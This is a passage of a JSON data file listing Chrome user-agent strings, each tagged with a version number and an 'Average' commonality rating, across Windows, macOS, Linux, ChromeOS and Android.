(KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SM-G900A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.6 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8530.96.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.154 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9460.60.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.91 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.97 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Chedot\\/8.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMS210 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; 7040N Build\\/KVT49L) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.135 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.96 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.52 Safari\\/536.5\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.97 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LG-F180L Build\\/KOT49I.F180L30b) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.124 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; MS5.V2 Build\\/MS5.V2) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.56 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/21.0.1180.83 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9460.73.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.134 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.100 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.124 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/36.0.1985.125 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9460.73.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.134 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-N900T Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G386T Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.6 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2444.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.65 Safari\\/537.31\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) 